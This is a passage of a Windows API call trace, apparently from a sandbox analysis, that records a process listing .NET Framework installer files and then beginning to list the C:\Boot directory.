	[0064.370] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0064.370] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1
	[0064.371] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1
	[0064.371] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1
	[0064.371] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1
	[0064.371] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1
	[0064.371] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1
	[0064.371] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1
	[0064.371] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1
	[0064.372] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1
	[0064.372] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1
	[0064.372] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1
	[0064.372] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1
	[0064.372] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1
	[0064.372] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1
	[0064.373] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1
	[0064.373] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0
	[0064.373] FindClose (in: hFindFile=0x811fc8 | out: hFindFile=0x811fc8) returned 1
	[0064.374] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0064.374] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp", cAlternateFileName="")) returned 1
	[0064.374] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1
	[0064.374] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1
	[0064.374] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1
	[0064.374] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1
	[0064.375] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1
	[0064.375] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1
	[0064.402] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0064.402] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1
	[0064.402] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1
	[0064.402] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe", cAlternateFileName="")) returned 1
	[0064.402] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1
	[0064.403] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1
	[0064.403] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1
	[0064.403] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1
	[0064.403] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1
	[0064.403] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0064.403] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml", cAlternateFileName="")) returned 1
	[0064.403] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0064.403] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1
	[0064.404] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1
	[0064.404] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1
	[0064.404] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1
	[0064.404] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1
	[0064.404] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0
	[0064.413] FindClose (in: hFindFile=0x739858 | out: hFindFile=0x739858) returned 1
	[0064.417] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3200940 | out: hHeap=0x720000) returned 1
	[0064.417] FindNextFileW (in: hFindFile=0x7397d8, lpFindFileData=0x2e9fcf8 | out: lpFindFileData=0x2e9fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77970000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0064.417] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3200940
	[0064.417] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x812008
